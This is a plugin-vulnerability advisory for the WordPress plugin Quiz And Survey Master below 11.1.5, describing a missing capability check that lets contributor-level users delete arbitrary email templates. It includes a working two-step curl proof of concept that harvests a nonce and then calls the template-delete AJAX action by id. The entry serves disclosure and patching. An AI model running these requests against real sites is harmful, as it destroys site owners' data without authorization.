Quiz And Survey Master < 11.1.5 – Contributor+ Arbitrary Template Deletion | CVE 2026-14821 | Plugin Vulnerabilities

Description

The plugin does not perform a capability check before deleting output templates, allowing users with contributor-level access and above to delete arbitrary templates.

Proof of Concept

1. Harvest the template-delete nonce from a quiz's Emails tab (a Contributor can reach it):
curl -s -b cookies.txt 'https://victim.example/wp-admin/admin.php?page=mlw_quiz_options&quiz_id=<own_quiz>&tab=emails'
  (read the qsm_remove_template nonce from the response)

2. Delete any template by id (no capability or ownership check):
curl -s -b cookies.txt 'https://victim.example/wp-admin/admin-ajax.php' --data 'action=qsm_remove_my_templates&nonce=<nonce>&id=1'
  -> {"success":true,...}

Affects Plugins

quiz-master-next

Fixed in 11.1.5

References

CVE

Classification

Type

NO AUTHORISATION

OWASP top 10

A5: Broken Access Control

CWE

CVSS

Miscellaneous

Original Researcher

md. minaruzzaman shovon

Submitter

md. minaruzzaman shovon

Verified

Yes

WPVDB ID

a53df549-5af1-4a0b-9f0f-a8c7893c82b6

Timeline

Publicly Published

2026-07-07 (about 1 month ago)

Added

2026-07-07 (about 1 month ago)

Last Updated

2026-07-07 (about 1 month ago)

Other

Published

Title

Published

2025-06-19

Title

UpStream: a Project Management Plugin for WordPress <= 2.1.0 - Missing Authorization

Published

2024-02-02

Title

WP Dummy Content Generator < 3.1.3 - Missing Authorization

Published

2025-10-23

Title

Microsoft Azure Storage for WordPress < 4.5.2 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Media Deletion

Published

2025-03-12

Title

CRM and Lead Management by vcita < 2.8.0 - Susbcriber+ Widget Toggle

Published

2024-12-02

Title

Church Admin < 5.0.9 - Missing Authorization